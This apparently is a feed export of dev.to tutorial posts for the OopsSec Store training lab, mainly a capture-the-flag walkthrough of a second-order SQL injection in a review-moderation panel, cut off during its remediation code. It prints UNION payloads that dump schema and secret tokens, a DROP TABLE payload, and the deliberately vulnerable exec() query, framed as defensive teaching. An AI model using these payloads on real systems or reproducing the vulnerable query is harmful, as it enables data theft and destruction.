&lt;p&gt;This handles distributed attacks where requests come from different IPs, which would slip past IP-based rate limits alone.&lt;/p&gt;
&lt;h3&gt;
  
  
  Using a slower hash function
&lt;/h3&gt;

&lt;p&gt;MD5 is a bad fit for passwords. It's fast by design, letting attackers compute billions of hashes per second on modern hardware. It also uses no salt, so identical passwords always produce identical hashes. Rainbow tables make short work of that.&lt;/p&gt;

&lt;p&gt;bcrypt fixes both. Each hash gets its own random salt, so two users with the same password produce different outputs. The work factor is adjustable: you decide how expensive each verification should be. Even without rate limiting, the cost per guess makes brute force impractical.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>nextjs</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Wed, 07 Oct 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/prisma-keeps-you-safe-until-you-reach-for-exec-a-sqli-story-3d96</link>
      <guid>https://dev.to/oopssec-store/prisma-keeps-you-safe-until-you-reach-for-exec-a-sqli-story-3d96</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;How a crafted display name stored through a product review becomes a SQL injection payload when an admin filters reviews on the moderation panel.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This writeup walks through a second-order SQL injection in OopsSec Store's review moderation feature. The twist compared to a classic SQL injection: the payload doesn't execute when it's submitted. It sits harmlessly in the database until the application feeds it into a different, unparameterized query.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;

&lt;p&gt;The application lets users submit product reviews with a customizable "Display name" field. Instead of defaulting to their email address, users pick how their name shows up on reviews.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F20i42dd10xd1g8661czk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F20i42dd10xd1g8661czk.png" alt="Page Product - Reviews" width="800" height="374"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The admin panel has a "Review Moderation" section at &lt;code&gt;/admin/reviews&lt;/code&gt; where admins can view and filter all reviews by author. The filter is a dropdown populated with distinct author names from the database.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgasvhb2fq43pjx0dcw6w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgasvhb2fq43pjx0dcw6w.png" alt="Admin interface" width="800" height="567"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Understanding second-order injection
&lt;/h2&gt;

&lt;p&gt;In a classic (first-order) SQL injection, the payload executes at the point of input. In a second-order attack, the malicious input is stored safely first and only executes later when the application reuses it in a different, unsafe context.&lt;/p&gt;

&lt;p&gt;The developer mistake: assuming that data from your own database is trustworthy and doesn't need parameterization.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Store the payload
&lt;/h3&gt;

&lt;p&gt;Log in with any account (e.g., &lt;code&gt;alice@example.com&lt;/code&gt; / &lt;code&gt;iloveduck&lt;/code&gt;), open any product page and submit a review. The "Display name" field is the sink: whatever goes in there is stored verbatim and rebuilt into a raw query later. Start with a probe that closes the author filter and merges a second result set:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1, 2, 3, 4, 5, 6 --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Write anything in the review body and submit. Nothing happens yet — the review is stored through Prisma, parameterized, and the payload is just a string sitting in a column.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F519adq2zjfqwia7os3ix.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F519adq2zjfqwia7os3ix.png" alt="Exploit" width="799" height="279"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 2: Gain admin access
&lt;/h3&gt;

&lt;p&gt;To access the admin panel, you need admin privileges. You can get there through other vulnerabilities in the lab (Mass Assignment, JWT forgery, SQL Injection with Weak MD5, etc).&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3: Trigger the injection
&lt;/h3&gt;

&lt;p&gt;Navigate to &lt;code&gt;/admin/reviews&lt;/code&gt;. The moderation panel lists every review and offers a "Filter by author" dropdown, populated with the distinct author names in the database — yours included.&lt;/p&gt;

&lt;p&gt;Select it. If the column count is wrong, the panel says so, which is how you find out the query returns six of them:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SELECTs to the left and right of UNION do not have the same number of result columns"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Each correction means posting a new review with the adjusted display name — the payload only ever arrives through storage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvnyxwinyb3ehgvntu9ot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvnyxwinyb3ehgvntu9ot.png" alt="The six-column probe lands, and the injected row shows up in the table" width="800" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The panel is also happy to run several statements at once, because the filter goes through &lt;code&gt;better-sqlite3&lt;/code&gt;'s &lt;code&gt;exec()&lt;/code&gt;. A display name like &lt;code&gt;'; DROP TABLE reviews; --&lt;/code&gt; really does wipe the reviews table, so, if you want to try, keep that one for after you have the flag.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;To recover, run &lt;code&gt;npm run db:push &amp;amp;&amp;amp; npm run db:seed&lt;/code&gt;: &lt;code&gt;db:push&lt;/code&gt; recreates the missing table, and the seed needs it back before it can read it. Your captured flags survive both steps; the three demo orders go back to their seeded state.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Step 4: Enumerate the schema
&lt;/h3&gt;

&lt;p&gt;Store a display name that reads SQLite's own catalogue:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1, 2, group_concat(name), 4, 5, 6 FROM sqlite_master WHERE type='&lt;/span&gt;&lt;span class="k"&gt;table&lt;/span&gt;&lt;span class="s1"&gt;' --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Filter by it, and the third column of the injected row lists every table:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;flags&lt;/code&gt; is walled off — naming it returns &lt;code&gt;403&lt;/code&gt;, and any &lt;code&gt;OSS{…}&lt;/code&gt; value is stripped from the response before it leaves the server. &lt;code&gt;internal_secrets&lt;/code&gt; is not.&lt;/p&gt;

&lt;p&gt;Its slugs are readable the same way, so there is nothing to guess. Store one more display name:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1, 2, group_concat(slug), 4, 5, 6 FROM internal_secrets --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;One row per injection challenge, each named after the challenge it belongs to.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 5: Read the canary
&lt;/h3&gt;

&lt;p&gt;This panel only looks for its own token. Post one last review under this display name:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1, 2, token, 4, 5, 6 FROM internal_secrets WHERE slug='&lt;/span&gt;&lt;span class="k"&gt;second&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;order&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;injection&lt;/span&gt;&lt;span class="s1"&gt;' --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Filter by it on the moderation panel:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"reviews"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"productId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CANARY-SECOND-ORDER-SQL-INJECTION-9dcc7a53b1ba"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"author"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OSS{s3c0nd_0rd3r_sql_1nj3ct10n}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Internal secret exfiltrated through a stored review author! Well done!"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1uwfpqiz47b4dd2qm5ex.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1uwfpqiz47b4dd2qm5ex.png" alt="Flag" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The token is generated when the lab is seeded, so it differs on every instance: returning it proves the stored name was executed as SQL.&lt;/p&gt;

&lt;p&gt;Dropping the &lt;code&gt;WHERE&lt;/code&gt; works just as well: all four rows come back and the panel finds its own token among them. The filter keeps the response readable, it is not a requirement.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;The vulnerability is in the admin reviews API endpoint at &lt;code&gt;/api/admin/reviews&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Reviews are stored safely via Prisma ORM (parameterized)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;review&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;review&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;productId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;author&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// But later reused unsafely via raw SQLite driver with multi-statement support&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Database&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getDbPath&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`
  SELECT r.id, r.content, r.author, ...
  FROM reviews r
  WHERE r.author = '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;authorFilter&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'   // VULNERABLE
`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// exec() runs ALL statements, including DROP TABLE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The developer trusted the author value because it came from the application's own database dropdown, not directly from user input. Using &lt;code&gt;exec()&lt;/code&gt; instead of &lt;code&gt;prepare()&lt;/code&gt; makes it worse: &lt;code&gt;exec()&lt;/code&gt; allows multi-statement execution, so a &lt;code&gt;DROP TABLE&lt;/code&gt; slipped into the query string will actually run.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Replace the raw SQL query with Prisma's parameterized query builder:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SECURE - Use Prisma's built-in parameterization&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reviews&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;review&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;authorFilter&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
